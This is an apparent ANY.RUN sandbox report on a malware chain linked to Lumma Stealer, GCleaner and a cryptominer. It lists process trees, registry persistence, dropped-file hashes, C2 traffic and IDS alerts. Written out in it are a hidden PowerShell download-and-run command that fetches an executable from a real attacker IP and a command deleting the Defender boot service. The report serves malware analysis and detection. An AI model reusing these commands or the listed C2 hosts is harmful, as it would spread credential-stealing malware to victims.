nsudolg.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs mode.com no specs cmd.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs tasklist.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs find.exe no specs nsudolg.exe no specs powershell.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs #CREDENTIALFLUSHER firefox.exe no specs firefox.exe firefox.exe no specs firefox.exe no specs 26b01426b8.exe no specs cmd.exe no specs mshta.exe no specs conhost.exe no specs schtasks.exe no specs firefox.exe no specs powershell.exe conhost.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs findstr.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs 7z.exe unlocker.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs findstr.exe no specs 7z.exe no specs unlocker.exe no specs sc.exe no specs kr2y54wt7nfgfxldaii0.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs sc.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs sc.exe no specs find.exe no specs sc.exe no specs sc.exe no specs unlocker.exe cmd.exe no specs conhost.exe no specs sc.exe no specs #CREDENTIALFLUSHER 3c51a4e7a6.exe no specs werfault.exe no specs taskkill.exe no specs conhost.exe no specs mshta.exe no specs firefox.exe no specs powershell.exe no specs conhost.exe no specs t0umgrz8wixofo4l9ne7vl.exe no specs timeout.exe no specs szeogkv.exe taskkill.exe no specs conhost.exe no specs taskkill.exe no specs cmd.exe no specs conhost.exe no specs conhost.exe no specs computerdefaults.exe no specs taskkill.exe no specs conhost.exe no specs computerdefaults.exe no specs taskkill.exe no specs conhost.exe no specs computerdefaults.exe #CREDENTIALFLUSHER firefox.exe no specs firefox.exe firefox.exe no specs firefox.exe no specs tempyrxrwdddxwa0vqtf22m4qoorrhg5grmx.exe no specs unlocker.exe tempyrxrwdddxwa0vqtf22m4qoorrhg5grmx.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs szeogkv.exe no specs werfault.exe no specs firefox.exe no specs timeout.exe no specs firefox.exe no specs szeogkv.exe no specs firefox.exe no specs unlocker.exe firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs werfault.exe no specs timeout.exe no specs unlocker.exe ramez.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs werfault.exe no specs oxdu0mw.exe timeout.exe no specs CMSTPLUA wintemp-v4.exe powershell.exe no specs conhost.exe no specs unlocker.exe cmd.exe no specs conhost.exe no specs sc.exe no specs werfault.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs powershell.exe no specs conhost.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs schtasks.exe no specs attrib.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs conhost.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs unlocker.exe cmd.exe no specs conhost.exe no specs sc.exe no specs werfault.exe no specs powershell.exe no specs conhost.exe no specs #GCLEANER ra02w4s.exe tasklist.exe no specs sc.exe no specs sc.exe no specs tasklist.exe no specs conhost.exe no specs conhost.exe no specs vaultcmd.exe no specs conhost.exe no specs slui.exe no specs taskkill.exe no specs conhost.exe no specs schtasks.exe no specs conhost.exe no specs cmdkey.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs reagentc.exe no specs powershell.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs win-v42.exe taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs werfault.exe no specs tasklist.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs 08iyoof.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs cmdkey.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs reg.exe no specs taskkill.exe no specs reg.exe no specs conhost.exe no specs reg.exe no specs unlocker.exe tasklist.exe no specs taskkill.exe no specs conhost.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs sc.exe no specs tasklist.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs #LUMMA msbuild.exe certutil.exe no specs tasklist.exe no specs taskkill.exe no specs conhost.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs iobitunlocker.exe no specs tasklist.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs taskkill.exe no specs conhost.exe no specs certutil.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs msiexec.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs cmd.exe no specs conhost.exe no specs takeown.exe no specs cmd.exe no specs conhost.exe no specs msiexec.exe icacls.exe no specs cmd.exe no specs conhost.exe no specs icacls.exe no specs powercfg.exe no specs conhost.exe no specs powercfg.exe no specs conhost.exe no specs powercfg.exe no specs conhost.exe no specs powercfg.exe no specs conhost.exe no specs powercfg.exe no specs conhost.exe no specs powercfg.exe no specs conhost.exe no specs powercfg.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs ping.exe no specs hashrate_vorte.exe hashrate_vorte.exe no specs zgsi81i.exe no specs conhost.exe no specs tasklist.exe no specs conhost.exe no specs msbuild.exe sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs chrome.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs cmd.exe no specs schtasks.exe no specs conhost.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs powershell.exe no specs reg.exe no specs conhost.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs unlocker.exe no specs cmd.exe no specs conhost.exe no specs chrome.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs sc.exe no specs rttpskiri.exe sc.exe no specs rttpskiri.tmp #MINER cmd.exe chrome.exe no specs chrome.exe no specs creativedatarecovery181.exe powershell.exe no specs conhost.exe no specs svchost.exe no specs cmd.exe no specs powershell.exe no specs conhost.exe no specs fmhctkqh0l.exe cmdkey.exe no specs conhost.exe no specs cmdkey.exe no specs conhost.exe no specs povoawtmeonfv.exe no specs ca7ebb8b16.exe win-v41.exe no specs werfault.exe no specs 75809f33cf.exe 75809f33cf.tmp info.exe conhost.exe no specs core.exe msbuild.exe no specs werfault.exe no specs ramez.exe no specs chrome.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
456sc delete "WdBoot" C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Service Control Manager Configuration Tool
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
536"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YRXRWDDDXWA0VQTF22M4QOORRHG5GRMX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
536"taskkill" /F /IM opera.exeC:\Windows\System32\taskkill.exe—sZeOgkV.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
536\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powercfg.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
632C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
664"C:\Windows\System32\cmd.exe" /c taskkill /f /pid "5740"C:\Windows\System32\cmd.exe—Unlocker.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
668"C:\Users\admin\AppData\Local\Temp\is-HKC16.tmp\75809f33cf.tmp" /SL5="$B02E2,1182700,844800,C:\Users\admin\AppData\Local\Temp\10127930101\75809f33cf.exe" C:\Users\admin\AppData\Local\Temp\is-HKC16.tmp\75809f33cf.tmp
75809f33cf.exe
User:
admin
Company:
Integrity Level:
MEDIUM
Description:
Setup/Uninstall
Version:
51.1052.0.0
Modules
Images
c:\users\admin\appdata\local\temp\is-hkc16.tmp\75809f33cf.tmp
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\comdlg32.dll
684NSudoLG -U:T -P:E -UseCurrentConsole C:\Users\admin\AppData\Local\Temp\a07wzbs.bat C:\Users\admin\AppData\Local\Temp\Work\NSudoLG.exe—cmd.exe
User:
admin
Company:
M2-Team
Integrity Level:
HIGH
Description:
NSudo Launcher
Exit code:
0
Version:
9.0.2676.0
Modules
Images
c:\users\admin\appdata\local\temp\work\nsudolg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
684sc query IObitUnlockerC:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Service Control Manager Configuration Tool
Exit code:
1060
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
684timeout /t 2 /nobreak C:\Windows\System32\timeout.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
timeout - pauses command processing
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\timeout.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
Total events
141 948
Read events
141 457
Write events
259
Delete events
232

Modification events

(PID) Process:(7984) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(7984) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7984) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7984) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:ad570225b0.exe
Value:
C:\Users\admin\AppData\Local\Temp\10127800101\ad570225b0.exe
(PID) Process:(5260) nircmd.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.FriendlyAppName
Value:
Windows Command Processor
(PID) Process:(5260) nircmd.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.ApplicationCompany
Value:
Microsoft Corporation
(PID) Process:(2284) reg.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize
Operation:writeName:AppsUseLightTheme
Value:
0
(PID) Process:(7984) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:50d759de7e.exe
Value:
C:\Users\admin\AppData\Local\Temp\10127810101\50d759de7e.exe
(PID) Process:(720) reg.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize
Operation:writeName:AppsUseLightTheme
Value:
0
(PID) Process:(3096) reg.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize
Operation:writeName:AppsUseLightTheme
Value:
0
Executable files
98
Suspicious files
276
Text files
115
Unknown types
1

Dropped files

PID
Process
Filename
Type
3240WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_547b50431e.exe_7035224e88db4ece3e5972eabb3688363582a77c_b1d6cd15_7176f539-93f6-4fcd-b855-bf2922422278\Report.wer —
MD5:—
SHA256:—
3240WerFault.exeC:\Users\admin\AppData\Local\CrashDumps\547b50431e.exe.5256.dmpbinary
MD5:BFAC9F3DEA75C066FD67AD5142DA103B
SHA256:6F139363489A8C976F20C21E539F6F81525BAE8782B2CC14B0E17CA8313D7C25
3240WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER3518.tmp.WERInternalMetadata.xmlbinary
MD5:B66443396E6C3AE2A0D4FBFD6AABA2A7
SHA256:9990BF17758DCBEB6DD2DD6757280FF46EA9B7A6B39ED04195D8B92C61BAA8EC
7624powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nctvthcw.bqe.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
744850d759de7e.exeC:\Users\admin\AppData\Local\Temp\a07wzbs.battext
MD5:350D172630B12F10564C78EEF37E3F95
SHA256:73BC1BD40DCB68AC6DBF25FFB5E0B708F43FD4CA8A17D08647EEB89641B37062
77964FMHRXHLJUVJ2NW5O83W1T.exeC:\Users\admin\AppData\Local\Temp\d610cf342e\ramez.exeexecutable
MD5:9D94C3ABE68688B2CCD5B73B09C2E856
SHA256:5AFA96458FD2F267BD67FAEC1432847D105676C9A84473067BA6C7E2CB4823D5
1852random.exeC:\Users\admin\AppData\Local\Temp\4FMHRXHLJUVJ2NW5O83W1T.exeexecutable
MD5:9D94C3ABE68688B2CCD5B73B09C2E856
SHA256:5AFA96458FD2F267BD67FAEC1432847D105676C9A84473067BA6C7E2CB4823D5
744850d759de7e.exeC:\Users\admin\AppData\Local\Temp\Work\nircmd.exeexecutable
MD5:4A9DA765FD91E80DECFD2C9FE221E842
SHA256:2E81E048AB419FDC6E5F4336A951BD282ED6B740048DC38D7673678EE3490CDA
744850d759de7e.exeC:\Users\admin\AppData\Local\Temp\Work\cecho.exeexecutable
MD5:E783BC59D0ED6CFBD8891F94AE23D1B3
SHA256:5C1211559DDA10592CFEDD57681F18F4A702410816D36EDA95AEE6C74E3C6A47
7512firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\9kie7cg6.default-release\startupCache\scriptCache-current.bin —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
98
TCP/UDP connections
206
DNS requests
136
Threats
111

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
7984
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
1852
random.exe
GET
200
185.156.72.2:80
http://185.156.72.2/mine/random.exe
unknown
—
—
unknown
—
—
GET
200
2.19.11.105:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5404
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7984
ramez.exe
GET
200
185.156.72.2:80
http://185.156.72.2/luma/random.exe
unknown
—
—
unknown
7984
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
7984
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
7984
ramez.exe
GET
200
185.156.72.2:80
http://185.156.72.2/files/fate/random.exe
unknown
—
—
unknown
5404
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
2.19.11.105:80
crl.microsoft.com
Elisa Oyj
NL
whitelisted
—
—
23.219.150.101:80
www.microsoft.com
AKAMAI-AS
CL
whitelisted
2104
svchost.exe
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1852
random.exe
104.21.48.1:443
cornerdurv.top
CLOUDFLARENET
—
unknown
1852
random.exe
188.114.97.3:443
laminaflbx.shop
CLOUDFLARENET
NL
unknown
1852
random.exe
104.21.40.104:443
overcovtcg.top
CLOUDFLARENET
—
malicious
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 2.19.11.105
  • 2.19.11.120
  • 23.48.23.169
  • 23.48.23.143
  • 23.48.23.168
  • 23.48.23.166
  • 23.48.23.146
  • 23.48.23.162
  • 23.48.23.147
  • 23.48.23.150
  • 23.48.23.141
whitelisted
www.microsoft.com
  • 23.219.150.101
  • 23.35.229.160
whitelisted
google.com
  • 142.250.186.78
whitelisted
cornerdurv.top
  • 104.21.48.1
  • 104.21.80.1
  • 104.21.96.1
  • 104.21.112.1
  • 104.21.16.1
  • 104.21.32.1
  • 104.21.64.1
unknown
saxecocnak.live
  • —
unknown
testcawepr.run
  • —
unknown
emphatakpn.bet
  • —
unknown
laminaflbx.shop
  • 188.114.97.3
  • 188.114.96.3
unknown
overcovtcg.top
  • 104.21.40.104
  • 172.67.150.184
malicious
client.wns.windows.com
  • 172.211.123.250
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cornerdurv .top)
1852
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (laminaflbx .shop) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (laminaflbx .shop)
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (saxecocnak .live)
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (emphatakpn .bet)
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (testcawepr .run)
1852
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (cornerdurv .top) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (overcovtcg .top)
1852
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
random.exe